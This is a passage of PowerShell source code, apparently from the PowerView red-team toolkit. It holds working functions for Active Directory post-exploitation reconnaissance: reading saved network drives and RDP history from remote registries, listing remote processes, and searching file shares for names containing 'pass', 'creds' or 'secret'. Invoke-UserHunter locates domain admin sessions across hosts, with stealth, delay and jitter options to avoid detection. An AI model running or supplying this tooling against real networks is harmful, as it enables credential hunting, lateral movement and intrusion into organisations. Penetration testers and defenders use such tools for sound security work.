$FoundConnection | Add-Member Noteproperty 'UserName' $UserName

$FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID

$FoundConnection | Add-Member Noteproperty 'TargetServer' $TargetServer

$FoundConnection | Add-Member Noteproperty 'UsernameHint' $Null

$FoundConnection

}

}

# pull out all the cached server info with username hints

$ServerKeys = $Reg.EnumKey($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Servers").sNames

foreach ($Server in $ServerKeys) {

$UsernameHint = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Servers\$Server", 'UsernameHint').sValue

$FoundConnection = New-Object PSObject

$FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer

$FoundConnection | Add-Member Noteproperty 'UserName' $UserName

$FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID

$FoundConnection | Add-Member Noteproperty 'TargetServer' $Server

$FoundConnection | Add-Member Noteproperty 'UsernameHint' $UsernameHint

$FoundConnection

}

}

catch {

Write-Verbose "Error: $\_"

}

}

}

catch {

Write-Warning "Error accessing $Computer, likely insufficient permissions or firewall rules on host: $\_"

}

}

filter Get-RegistryMountedDrive {

<#

.SYNOPSIS

Uses remote registry functionality to query all entries for the

the saved network mounted drive on a machine, separated by

user and target server.

Note: This function requires administrative rights on the

machine you're enumerating.

.PARAMETER ComputerName

The hostname to query for RDP client information.

Defaults to localhost.

.PARAMETER Credential

A [Management.Automation.PSCredential] object for the remote connection.

.EXAMPLE

PS C:\> Get-RegistryMountedDrive

Returns the saved network mounted drives for the local machine.

.EXAMPLE

PS C:\> Get-RegistryMountedDrive -ComputerName WINDOWS2.testlab.local

Returns the saved network mounted drives for the WINDOWS2.testlab.local machine

.EXAMPLE

PS C:\> Get-RegistryMountedDrive -ComputerName WINDOWS2.testlab.local -Credential $Cred

Returns the saved network mounted drives for the WINDOWS2.testlab.local machine using alternate credentials.

.EXAMPLE

PS C:\> Get-NetComputer | Get-RegistryMountedDrive

Get the saved network mounted drives for all machines in the domain.

#>

[CmdletBinding()]

param(

[Parameter(ValueFromPipeline=$True)]

[Alias('HostName')]

[Object[]]

[ValidateNotNullOrEmpty()]

$ComputerName = 'localhost',

[Management.Automation.PSCredential]

$Credential

)

# extract the computer name from whatever object was passed on the pipeline

$Computer = $ComputerName | Get-NameField

# HKEY\_USERS

$HKU = 2147483651

try {

if($Credential) {

$Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -Credential $Credential -ErrorAction SilentlyContinue

}

else {

$Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -ErrorAction SilentlyContinue

}

# extract out the SIDs of domain users in this hive

$UserSIDs = ($Reg.EnumKey($HKU, "")).sNames | ? { $\_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' }

foreach ($UserSID in $UserSIDs) {

try {

$UserName = Convert-SidToName $UserSID

$DriveLetters = ($Reg.EnumKey($HKU, "$UserSID\Network")).sNames

ForEach($DriveLetter in $DriveLetters) {

$ProviderName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'ProviderName').sValue

$RemotePath = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'RemotePath').sValue

$DriveUserName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'UserName').sValue

if(-not $UserName) { $UserName = '' }

if($RemotePath -and ($RemotePath -ne '')) {

$MountedDrive = New-Object PSObject

$MountedDrive | Add-Member Noteproperty 'ComputerName' $Computer

$MountedDrive | Add-Member Noteproperty 'UserName' $UserName

$MountedDrive | Add-Member Noteproperty 'UserSID' $UserSID

$MountedDrive | Add-Member Noteproperty 'DriveLetter' $DriveLetter

$MountedDrive | Add-Member Noteproperty 'ProviderName' $ProviderName

$MountedDrive | Add-Member Noteproperty 'RemotePath' $RemotePath

$MountedDrive | Add-Member Noteproperty 'DriveUserName' $DriveUserName

$MountedDrive

}

}

}

catch {

Write-Verbose "Error: $\_"

}

}

}

catch {

Write-Warning "Error accessing $Computer, likely insufficient permissions or firewall rules on host: $\_"

}

}

filter Get-NetProcess {

<#

.SYNOPSIS

Gets a list of processes/owners on a remote machine.

.PARAMETER ComputerName

The hostname to query processes. Defaults to the local host name.

.PARAMETER Credential

A [Management.Automation.PSCredential] object for the remote connection.

.EXAMPLE

PS C:\> Get-NetProcess -ComputerName WINDOWS1

Returns the current processes for WINDOWS1

#>

[CmdletBinding()]

param(

[Parameter(ValueFromPipeline=$True)]

[Alias('HostName')]

[Object[]]

[ValidateNotNullOrEmpty()]

$ComputerName = [System.Net.Dns]::GetHostName(),

[Management.Automation.PSCredential]

$Credential

)

# extract the computer name from whatever object was passed on the pipeline

$Computer = $ComputerName | Get-NameField

try {

if($Credential) {

$Processes = Get-WMIobject -Class Win32\_process -ComputerName $ComputerName -Credential $Credential

}

else {

$Processes = Get-WMIobject -Class Win32\_process -ComputerName $ComputerName

}

$Processes | ForEach-Object {

$Owner = $\_.getowner();

$Process = New-Object PSObject

$Process | Add-Member Noteproperty 'ComputerName' $Computer

$Process | Add-Member Noteproperty 'ProcessName' $\_.ProcessName

$Process | Add-Member Noteproperty 'ProcessID' $\_.ProcessID

$Process | Add-Member Noteproperty 'Domain' $Owner.Domain

$Process | Add-Member Noteproperty 'User' $Owner.User

$Process

}

}

catch {

Write-Verbose "[!] Error enumerating remote processes on $Computer, access likely denied: $\_"

}

}

function Find-InterestingFile {

<#

.SYNOPSIS

This function recursively searches a given UNC path for files with

specific keywords in the name (default of pass, sensitive, secret, admin,

login and unattend\*.xml). The output can be piped out to a csv with the

-OutFile flag. By default, hidden files/folders are included in search results.

.PARAMETER Path

UNC/local path to recursively search.

.PARAMETER Terms

Terms to search for.

.PARAMETER OfficeDocs

Switch. Search for office documents (\*.doc\*, \*.xls\*, \*.ppt\*)

.PARAMETER FreshEXEs

Switch. Find .EXEs accessed within the last week.

.PARAMETER LastAccessTime

Only return files with a LastAccessTime greater than this date value.

.PARAMETER LastWriteTime

Only return files with a LastWriteTime greater than this date value.

.PARAMETER CreationTime

Only return files with a CreationTime greater than this date value.

.PARAMETER ExcludeFolders

Switch. Exclude folders from the search results.

.PARAMETER ExcludeHidden

Switch. Exclude hidden files and folders from the search results.

.PARAMETER CheckWriteAccess

Switch. Only returns files the current user has write access to.

.PARAMETER OutFile

Output results to a specified csv output file.

.PARAMETER UsePSDrive

Switch. Mount target remote path with temporary PSDrives.

.OUTPUTS

The full path, owner, lastaccess time, lastwrite time, and size for each found file.

.EXAMPLE

PS C:\> Find-InterestingFile -Path C:\Backup\

Returns any files on the local path C:\Backup\ that have the default

search term set in the title.

.EXAMPLE

PS C:\> Find-InterestingFile -Path \\WINDOWS7\Users\ -Terms salaries,email -OutFile out.csv

Returns any files on the remote path \\WINDOWS7\Users\ that have 'salaries'

or 'email' in the title, and writes the results out to a csv file

named 'out.csv'

.EXAMPLE

PS C:\> Find-InterestingFile -Path \\WINDOWS7\Users\ -LastAccessTime (Get-Date).AddDays(-7)

Returns any files on the remote path \\WINDOWS7\Users\ that have the default

search term set in the title and were accessed within the last week.

.LINK

http://www.harmj0y.net/blog/redteaming/file-server-triage-on-red-team-engagements/

#>

param(

[Parameter(ValueFromPipeline=$True)]

[String]

$Path = '.\',

[Alias('Terms')]

[String[]]

$SearchTerms = @('pass', 'sensitive', 'admin', 'login', 'secret', 'unattend\*.xml', '.vmdk', 'creds', 'credential', '.config'),

[Switch]

$OfficeDocs,

[Switch]

$FreshEXEs,

[String]

$LastAccessTime,

[String]

$LastWriteTime,

[String]

$CreationTime,

[Switch]

$ExcludeFolders,

[Switch]

$ExcludeHidden,

[Switch]

$CheckWriteAccess,

[String]

$OutFile,

[Switch]

$UsePSDrive

)

begin {

$Path += if(!$Path.EndsWith('\')) {"\"}

if ($Credential) {

$UsePSDrive = $True

}

# append wildcards to the front and back of all search terms

$SearchTerms = $SearchTerms | ForEach-Object { if($\_ -notmatch '^\\*.\*\\*$') {"\*$($\_)\*"} else{$\_} }

# search just for office documents if specified

if ($OfficeDocs) {

$SearchTerms = @('\*.doc', '\*.docx', '\*.xls', '\*.xlsx', '\*.ppt', '\*.pptx')

}

# find .exe's accessed within the last 7 days

if($FreshEXEs) {

# get an access time limit of 7 days ago

$LastAccessTime = (Get-Date).AddDays(-7).ToString('MM/dd/yyyy')

$SearchTerms = '\*.exe'

}

if($UsePSDrive) {

# if we're PSDrives, create a temporary mount point

$Parts = $Path.split('\')

$FolderPath = $Parts[0..($Parts.length-2)] -join '\'

$FilePath = $Parts[-1]

$RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join ''

Write-Verbose "Mounting path '$Path' using a temp PSDrive at $RandDrive"

try {

$Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop

}

catch {

Write-Verbose "Error mounting path '$Path' : $\_"

return $Null

}

# so we can cd/dir the new drive

$Path = "${RandDrive}:\${FilePath}"

}

}

process {

Write-Verbose "[\*] Search path $Path"

function Invoke-CheckWrite {

# short helper to check is the current user can write to a file

[CmdletBinding()]param([String]$Path)

try {

$Filetest = [IO.FILE]::OpenWrite($Path)

$Filetest.Close()

$True

}

catch {

Write-Verbose -Message $Error[0]

$False

}

}

$SearchArgs = @{

'Path' = $Path

'Recurse' = $True

'Force' = $(-not $ExcludeHidden)

'Include' = $SearchTerms

'ErrorAction' = 'SilentlyContinue'

}

Get-ChildItem @SearchArgs | ForEach-Object {

Write-Verbose $\_

# check if we're excluding folders

if(!$ExcludeFolders -or !$\_.PSIsContainer) {$\_}

} | ForEach-Object {

if($LastAccessTime -or $LastWriteTime -or $CreationTime) {

if($LastAccessTime -and ($\_.LastAccessTime -gt $LastAccessTime)) {$\_}

elseif($LastWriteTime -and ($\_.LastWriteTime -gt $LastWriteTime)) {$\_}

elseif($CreationTime -and ($\_.CreationTime -gt $CreationTime)) {$\_}

}

else {$\_}

} | ForEach-Object {

# filter for write access (if applicable)

if((-not $CheckWriteAccess) -or (Invoke-CheckWrite -Path $\_.FullName)) {$\_}

} | Select-Object FullName,@{Name='Owner';Expression={(Get-Acl $\_.FullName).Owner}},LastAccessTime,LastWriteTime,CreationTime,Length | ForEach-Object {

# check if we're outputting to the pipeline or an output file

if($OutFile) {Export-PowerViewCSV -InputObject $\_ -OutFile $OutFile}

else {$\_}

}

}

end {

if($UsePSDrive -and $RandDrive) {

Write-Verbose "Removing temp PSDrive $RandDrive"

Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force

}

}

}

########################################################

#

# 'Meta'-functions start below

#

########################################################

function Invoke-ThreadedFunction {

# Helper used by any threaded host enumeration functions

[CmdletBinding()]

param(

[Parameter(Position=0,Mandatory=$True)]

[String[]]

$ComputerName,

[Parameter(Position=1,Mandatory=$True)]

[System.Management.Automation.ScriptBlock]

$ScriptBlock,

[Parameter(Position=2)]

[Hashtable]

$ScriptParameters,

[Int]

[ValidateRange(1,100)]

$Threads = 20,

[Switch]

$NoImports

)

begin {

if ($PSBoundParameters['Debug']) {

$DebugPreference = 'Continue'

}

Write-Verbose "[\*] Total number of hosts: $($ComputerName.count)"

# Adapted from:

# http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/

$SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault()

$SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState()

# import the current session state's variables and functions so the chained PowerView

# functionality can be used by the threaded blocks

if(!$NoImports) {

# grab all the current variables for this runspace

$MyVars = Get-Variable -Scope 2

# these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice

$VorbiddenVars = @("?","args","ConsoleFileName","Error","ExecutionContext","false","HOME","Host","input","InputObject","MaximumAliasCount","MaximumDriveCount","MaximumErrorCount","MaximumFunctionCount","MaximumHistoryCount","MaximumVariableCount","MyInvocation","null","PID","PSBoundParameters","PSCommandPath","PSCulture","PSDefaultParameterValues","PSHOME","PSScriptRoot","PSUICulture","PSVersionTable","PWD","ShellId","SynchronizedHash","true")

# Add Variables from Parent Scope (current runspace) into the InitialSessionState

ForEach($Var in $MyVars) {

if($VorbiddenVars -NotContains $Var.Name) {

$SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes))

}

}

# Add Functions from current runspace to the InitialSessionState

ForEach($Function in (Get-ChildItem Function:)) {

$SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition))

}

}

# threading adapted from

# https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407

# Thanks Carlos!

# create a pool of maxThread runspaces

$Pool = [runspacefactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host)

$Pool.Open()

$method = $null

ForEach ($m in [PowerShell].GetMethods() | Where-Object { $\_.Name -eq "BeginInvoke" }) {

$methodParameters = $m.GetParameters()

if (($methodParameters.Count -eq 2) -and $methodParameters[0].Name -eq "input" -and $methodParameters[1].Name -eq "output") {

$method = $m.MakeGenericMethod([Object], [Object])

break

}

}

$Jobs = @()

}

process {

ForEach ($Computer in $ComputerName) {

# make sure we get a server name

if ($Computer -ne '') {

# Write-Verbose "[\*] Enumerating server $Computer ($($Counter+1) of $($ComputerName.count))"

While ($($Pool.GetAvailableRunspaces()) -le 0) {

Start-Sleep -MilliSeconds 500

}

# create a "powershell pipeline runner"

$p = [powershell]::create()

$p.runspacepool = $Pool

# add the script block + arguments

$Null = $p.AddScript($ScriptBlock).AddParameter('ComputerName', $Computer)

if($ScriptParameters) {

ForEach ($Param in $ScriptParameters.GetEnumerator()) {

$Null = $p.AddParameter($Param.Name, $Param.Value)

}

}

$o = New-Object Management.Automation.PSDataCollection[Object]

$Jobs += @{

PS = $p

Output = $o

Result = $method.Invoke($p, @($null, [Management.Automation.PSDataCollection[Object]]$o))

}

}

}

}

end {

Write-Verbose "Waiting for threads to finish..."

Do {

ForEach ($Job in $Jobs) {

$Job.Output.ReadAll()

}

} While (($Jobs | Where-Object { ! $\_.Result.IsCompleted }).Count -gt 0)

ForEach ($Job in $Jobs) {

$Job.PS.Dispose()

}

$Pool.Dispose()

Write-Verbose "All threads completed!"

}

}

function Invoke-UserHunter {

<#

.SYNOPSIS

Finds which machines users of a specified group are logged into.

Author: @harmj0y

License: BSD 3-Clause

.DESCRIPTION

This function finds the local domain name for a host using Get-NetDomain,

queries the domain for users of a specified group (default "domain admins")

with Get-NetGroupMember or reads in a target user list, queries the domain for all

active machines with Get-NetComputer or reads in a pre-populated host list,

randomly shuffles the target list, then for each server it gets a list of

active users with Get-NetSession/Get-NetLoggedon. The found user list is compared

against the target list, and a status message is displayed for any hits.

The flag -CheckAccess will check each positive host to see if the current

user has local admin access to the machine.

.PARAMETER ComputerName

Host array to enumerate, passable on the pipeline.

.PARAMETER ComputerFile

File of hostnames/IPs to search.

.PARAMETER ComputerFilter

Host filter name to query AD for, wildcards accepted.

.PARAMETER ComputerADSpath

The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local"

Useful for OU queries.

.PARAMETER Unconstrained

Switch. Only enumerate computers that have unconstrained delegation.

.PARAMETER GroupName

Group name to query for target users.

.PARAMETER TargetServer

Hunt for users who are effective local admins on a target server.

.PARAMETER UserName

Specific username to search for.

.PARAMETER UserFilter

A customized ldap filter string to use for user enumeration, e.g. "(description=\*admin\*)"

.PARAMETER UserADSpath

The LDAP source to search through for users, e.g. "LDAP://OU=secret,DC=testlab,DC=local"

Useful for OU queries.

.PARAMETER UserFile

File of usernames to search for.

.PARAMETER AdminCount

Switch. Hunt for users with adminCount=1.

.PARAMETER AllowDelegation

Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation'

.PARAMETER StopOnSuccess

Switch. Stop hunting after finding after finding a target user.

.PARAMETER NoPing

Don't ping each host to ensure it's up before enumerating.

.PARAMETER CheckAccess

Switch. Check if the current user has local admin access to found machines.

.PARAMETER Delay

Delay between enumerating hosts, defaults to 0

.PARAMETER Jitter

Jitter for the host delay, defaults to +/- 0.3

.PARAMETER Domain

Domain for query for machines, defaults to the current domain.

.PARAMETER DomainController

Domain controller to reflect LDAP queries through.

.PARAMETER ShowAll

Switch. Return all user location results, i.e. Invoke-UserView functionality.

.PARAMETER SearchForest

Switch. Search all domains in the forest for target users instead of just

a single domain.

.PARAMETER Stealth

Switch. Only enumerate sessions from connonly used target servers.

.PARAMETER StealthSource

The source of target servers to use, 'DFS' (distributed file servers),

'DC' (domain controllers), 'File' (file servers), or 'All'

.PARAMETER ForeignUsers

Switch. Only return results that are not part of searched domain.

.PARAMETER Threads

The maximum concurrent threads to execute.

.PARAMETER Poll

Continuously poll for sessions for the given duration. Automatically

sets Threads to the number of computers being polled.

.EXAMPLE

PS C:\> Invoke-UserHunter -CheckAccess

Finds machines on the local domain where domain admins are logged into

and checks if the current user has local administrator access.

.EXAMPLE

PS C:\> Invoke-UserHunter -Domain 'testing'

Finds machines on the 'testing' domain where domain admins are logged into.

.EXAMPLE

PS C:\> Invoke-UserHunter -Threads 20

Multi-threaded user hunting, replaces Invoke-UserHunterThreaded.

.EXAMPLE

PS C:\> Invoke-UserHunter -UserFile users.txt -ComputerFile hosts.txt

Finds machines in hosts.txt where any members of users.txt are logged in

or have sessions.

.EXAMPLE

PS C:\> Invoke-UserHunter -GroupName "Power Users" -Delay 60

Find machines on the domain where members of the "Power Users" groups are

logged into with a 60 second (+/- \*.3) randomized delay between

touching each host.

.EXAMPLE

PS C:\> Invoke-UserHunter -TargetServer FILESERVER

Query FILESERVER for useres who are effective local administrators using

Get-NetLocalGroup -Recurse, and hunt for that user set on the network.

.EXAMPLE

PS C:\> Invoke-UserHunter -SearchForest

Find all machines in the current forest where domain admins are logged in.

.EXAMPLE

PS C:\> Invoke-UserHunter -Stealth

Executes old Invoke-StealthUserHunter functionality, enumerating commonly

used servers and checking just sessions for each.

.EXAMPLE

PS C:\> Invoke-UserHunter -Stealth -StealthSource DC -Poll 3600 -Delay 5 -ShowAll | ? { ! $\_.UserName.EndsWith('$') }

Poll Domain Controllers in parallel for sessions for an hour, waiting five

seconds before querying each DC again and filtering out computer accounts.

.LINK

http://blog.harmj0y.net

#>

[CmdletBinding()]

param(

[Parameter(Position=0,ValueFromPipeline=$True)]

[Alias('Hosts')]

[String[]]

$ComputerName,

[ValidateScript({Test-Path -Path $\_ })]

[Alias('HostList')]

[String]

$ComputerFile,

[String]

$ComputerFilter,

[String]

$ComputerADSpath,

[Switch]

$Unconstrained,

[String]

$GroupName = 'Domain Admins',

[String]

$TargetServer,

[String]

$UserName,

[String]

$UserFilter,

[String]

$UserADSpath,

[ValidateScript({Test-Path -Path $\_ })]

[String]

$UserFile,

[Switch]

$AdminCount,

[Switch]

$AllowDelegation,

[Switch]

$CheckAccess,

[Switch]

$StopOnSuccess,

[Switch]

$NoPing,

[UInt32]

$Delay = 0,

[Double]

$Jitter = .3,

[String]

$Domain,

[String]

$DomainController,

[Switch]

$ShowAll,

[Switch]

$SearchForest,

[Switch]

$Stealth,

[String]

[ValidateSet("DFS","DC","File","All")]

$StealthSource ="All",

[Switch]

$ForeignUsers,

[Int]

[ValidateRange(1,100)]

$Threads,

[UInt32]

$Poll = 0

)

begin {

if ($PSBoundParameters['Debug']) {

$DebugPreference = 'Continue'

}

Write-Verbose "[\*] Running Invoke-UserHunter with delay of $Delay"

#####################################################

#

# First we build the host target set

#

#####################################################

if($ComputerFile) {

# if we're using a host list, read the targets in and add them to the target list

$ComputerName = Get-Content -Path $ComputerFile

}

if(!$ComputerName) {

[Array]$ComputerName = @()

if($Domain) {

$TargetDomains = @($Domain)

}

elseif($SearchForest) {

# get ALL the domains in the forest to search

$TargetDomains = Get-NetForestDomain | ForEach-Object { $\_.Name }

}

else {

# use the local domain

$TargetDomains = @( (Get-NetDomain).name )

}

if($Stealth) {

Write-Verbose "Stealth mode! Enumerating commonly used servers"

Write-Verbose "Stealth source: $StealthSource"

ForEach ($Domain in $TargetDomains) {

if (($StealthSource -eq "File") -or ($StealthSource -eq "All")) {

Write-Verbose "[\*] Querying domain $Domain for File Servers..."

$ComputerName += Get-NetFileServer -Domain $Domain -DomainController $DomainController

}

if (($StealthSource -eq "DFS") -or ($StealthSource -eq "All")) {

Write-Verbose "[\*] Querying domain $Domain for DFS Servers..."

$ComputerName += Get-DFSshare -Domain $Domain -DomainController $DomainController | ForEach-Object {$\_.RemoteServerName}

}

if (($StealthSource -eq "DC") -or ($StealthSource -eq "All")) {

Write-Verbose "[\*] Querying domain $Domain for Domain Controllers..."

$ComputerName += Get-NetDomainController -LDAP -Domain $Domain -DomainController $DomainController | ForEach-Object { $\_.dnshostname}

}

}

}

else {

ForEach ($Domain in $TargetDomains) {

Write-Verbose "[\*] Querying domain $Domain for hosts"

$Arguments = @{

'Domain' = $Domain

'DomainController' = $DomainController

'ADSpath' = $ADSpath

'Filter' = $ComputerFilter

'Unconstrained' = $Unconstrained

}

$ComputerName += Get-NetComputer @Arguments

}

}

# remove any null target hosts, uniquify the list and shuffle it

$ComputerName = $ComputerName | Where-Object { $\_ } | Sort-Object -Unique | Sort-Object { Get-Random }

if($($ComputerName.Count) -eq 0) {

throw "No hosts found!"

}

}

if ($Poll -gt 0) {

Write-Verbose "[\*] Polling for $Poll seconds. Automatically enabling threaded mode."

if ($ComputerName.Count -gt 100) {

throw "Too many hosts to poll! Try fewer than 100."

}

$Threads = $ComputerName.Count

}

#####################################################

#

# Now we build the user target set

#

#####################################################

# users we're going to be searching for

$TargetUsers = @()

# get the current user so we can ignore it in the results

$CurrentUser = ([Environment]::UserName).toLower()

# if we're showing all results, skip username enumeration

if($ShowAll -or $ForeignUsers) {

$User = New-Object PSObject

$User | Add-Member Noteproperty 'MemberDomain' $Null

$User | Add-Member Noteproperty 'MemberName' '\*'

$TargetUsers = @($User)

if($ForeignUsers) {

# if we're searching for user results not in the primary domain

$krbtgtName = Convert-ADName -ObjectName "krbtgt@$($Domain)" -InputType Simple -OutputType NT4

$DomainShortName = $krbtgtName.split("\")[0]

}

}

# if we want to hunt for the effective domain users who can access a target server

elseif($TargetServer) {

Write-Verbose "Querying target server '$TargetServer' for local users"

$TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $\_.IsGroup) -and $\_.IsDomain } | ForEach-Object {

$User = New-Object PSObject

$User | Add-Member Noteproperty 'MemberDomain' ($\_.AccountName).split("/")[0].toLower()

$User | Add-Member Noteproperty 'MemberName' ($\_.AccountName).split("/")[1].toLower()

$User

} | Where-Object {$\_}

}

# if we get a specific username, only use that

elseif($UserName) {

Write-Verbose "[\*] Using target user '$UserName'..."

$User = New-Object PSObject

if($TargetDomains) {

$User | Add-Member Noteproperty 'MemberDomain' $TargetDomains[0]

}

else {

$User | Add-Member Noteproperty 'MemberDomain' $Null

}

$User | Add-Member Noteproperty 'MemberName' $UserName.ToLower()

$TargetUsers = @($User)

}

# read in a target user list if we have one

elseif($UserFile) {

$TargetUsers = Get-Content -Path $UserFile | ForEach-Object {

$User = New-Object PSObject

if($TargetDomains) {

$User | Add-Member Noteproperty 'MemberDomain' $TargetDomains[0]

}

else {

$User | Add-Member Noteproperty 'MemberDomain' $Null

}

$User | Add-Member Noteproperty 'MemberName' $\_

$User

} | Where-Object {$\_}

}

elseif($UserADSpath -or $UserFilter -or $AdminCount) {

ForEach ($Domain in $TargetDomains) {

$Arguments = @{

'Domain' = $Domain

'DomainController' = $DomainController

'ADSpath' = $UserADSpath

'Filter' = $UserFilter

'AdminCount' = $AdminCount

'AllowDelegation' = $AllowDelegation

}

Write-Verbose "[\*] Querying domain $Domain for users"

$TargetUsers += Get-NetUser @Arguments | ForEach-Object {

$User = New-Object PSObject

$User | Add-Member Noteproperty 'MemberDomain' $Domain

$User | Add-Member Noteproperty 'MemberName' $\_.samaccountname

$User

} | Where-Object {$\_}

}

}

else {

ForEach ($Domain in $TargetDomains) {

Write-Verbose "[\*] Querying domain $Domain for users of group '$GroupName'"

$TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController

}

}

if (( (-not $ShowAll) -and (-not $ForeignUsers) ) -and ((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) {

throw "[!] No users found to search for!"

}

# script block that enumerates a server

$HostEnumBlock = {

param($ComputerName, $Ping, $TargetUsers, $CurrentUser, $Stealth, $DomainShortName, $Poll, $Delay, $Jitter)

# optionally check if the server is up first

$Up = $True

if($Ping) {

$Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName

}

if($Up) {

$Timer = [System.Diagnostics.Stopwatch]::StartNew()

$RandNo = New-Object System.Random

Do {

if(!$DomainShortName) {

# if we're not searching for foreign users, check session information

$Sessions = Get-NetSession -ComputerName $ComputerName

ForEach ($Session in $Sessions) {

$UserName = $Session.sesi10\_username

$CName = $Session.sesi10\_cname

if($CName -and $CName.StartsWith("\\")) {

$CName = $CName.TrimStart("\")

}

# make sure we have a result

if (($UserName) -and ($UserName.trim() -ne '') -and (!($UserName -match $CurrentUser))) {

$TargetUsers | Where-Object {$UserName -like $\_.MemberName} | ForEach-Object {

$IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress

$FoundUser = New-Object PSObject

$FoundUser | Add-Member Noteproperty 'UserDomain' $\_.MemberDomain

$FoundUser | Add-Member Noteproperty 'UserName' $UserName

$FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName

$FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress

$FoundUser | Add-Member Noteproperty 'SessionFrom' $CName

# Try to resolve the DNS hostname of $Cname

try {

$CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName

$FoundUser | Add-Member NoteProperty 'SessionFromName' $CnameDNSName

}

catch {

$FoundUser | Add-Member NoteProperty 'SessionFromName' $Null

}

# see if we're checking to see if we have local admin access on this machine

if ($CheckAccess) {

$Admin = Invoke-CheckLocalAdminAccess -ComputerName $CName

$FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin

}

else {

$FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null

}

$FoundUser.PSObject.TypeNames.Add('PowerView.UserSession')

$FoundUser

}

}

}

}

if(!$Stealth) {

# if we're not 'stealthy', enumerate loggedon users as well

$LoggedOn = Get-NetLoggedon -ComputerName $ComputerName

ForEach ($User in $LoggedOn) {

$UserName = $User.wkui1\_username

# TODO: translate domain to authoratative name

# then match domain name ?

$UserDomain = $User.wkui1\_logon\_domain

# make sure wet have a result

if (($UserName) -and ($UserName.trim() -ne '')) {

$TargetUsers | Where-Object {$UserName -like $\_.MemberName} | ForEach-Object {

$Proceed = $True

if($DomainShortName) {

if ($DomainShortName.ToLower() -ne $UserDomain.ToLower()) {

$Proceed = $True

}

else {

$Proceed = $False

}

}

if($Proceed) {

$IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress

$FoundUser = New-Object PSObject

$FoundUser | Add-Member Noteproperty 'UserDomain' $UserDomain

$FoundUser | Add-Member Noteproperty 'UserName' $UserName

$FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName

$FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress

$FoundUser | Add-Member Noteproperty 'SessionFrom' $Null

$FoundUser | Add-Member Noteproperty 'SessionFromName' $Null

# see if we're checking to see if we have local admin access on this machine

if ($CheckAccess) {

$Admin = Invoke-CheckLocalAdminAccess -ComputerName $ComputerName

$FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin

}

else {

$FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null

}

$FoundUser.PSObject.TypeNames.Add('PowerView.UserSession')

$FoundUser

}

}

}

}

}

if ($Poll -gt 0) {

Start-Sleep -Seconds $RandNo.Next((1-$Jitter)\*$Delay, (1+$Jitter)\*$Delay)

}

} While ($Poll -gt 0 -and $Timer.Elapsed.TotalSeconds -lt $Poll)

}

}

}

process {

if($Threads) {

Write-Verbose "Using threading with threads = $Threads"

# if we're using threading, kick off the script block with Invoke-ThreadedFunction

$ScriptParams = @{

'Ping' = $(-not $NoPing)

'TargetUsers' = $TargetUsers

'CurrentUser' = $CurrentUser

'Stealth' = $Stealth

'DomainShortName' = $DomainShortName

'Poll' = $Poll

'Delay' = $Delay

'Jitter' = $Jitter

}

# kick off the threaded script block + arguments

Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads

}

else {

if(-not $NoPing -and ($ComputerName.count -ne 1)) {

# ping all hosts in parallel

$Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}

$ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100

}

Write-Verbose "[\*] Total number of active hosts: $($ComputerName.count)"

$Counter = 0

$RandNo = New-Object System.Random

ForEach ($Computer in $ComputerName) {

$Counter = $Counter + 1

# sleep for our semi-randomized interval

Start-Sleep -Seconds $RandNo.Next((1-$Jitter)\*$Delay, (1+$Jitter)\*$Delay)

Write-Verbose "[\*] Enumerating server $Computer ($Counter of $($ComputerName.count))"

$Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $TargetUsers, $CurrentUser, $Stealth, $DomainShortName, 0, 0, 0

$Result

if($Result -and $StopOnSuccess) {

Write-Verbose "[\*] Target user found, returning early"

return

}

}

}

}

}

function Invoke-StealthUserHunter {

[CmdletBinding()]

param(

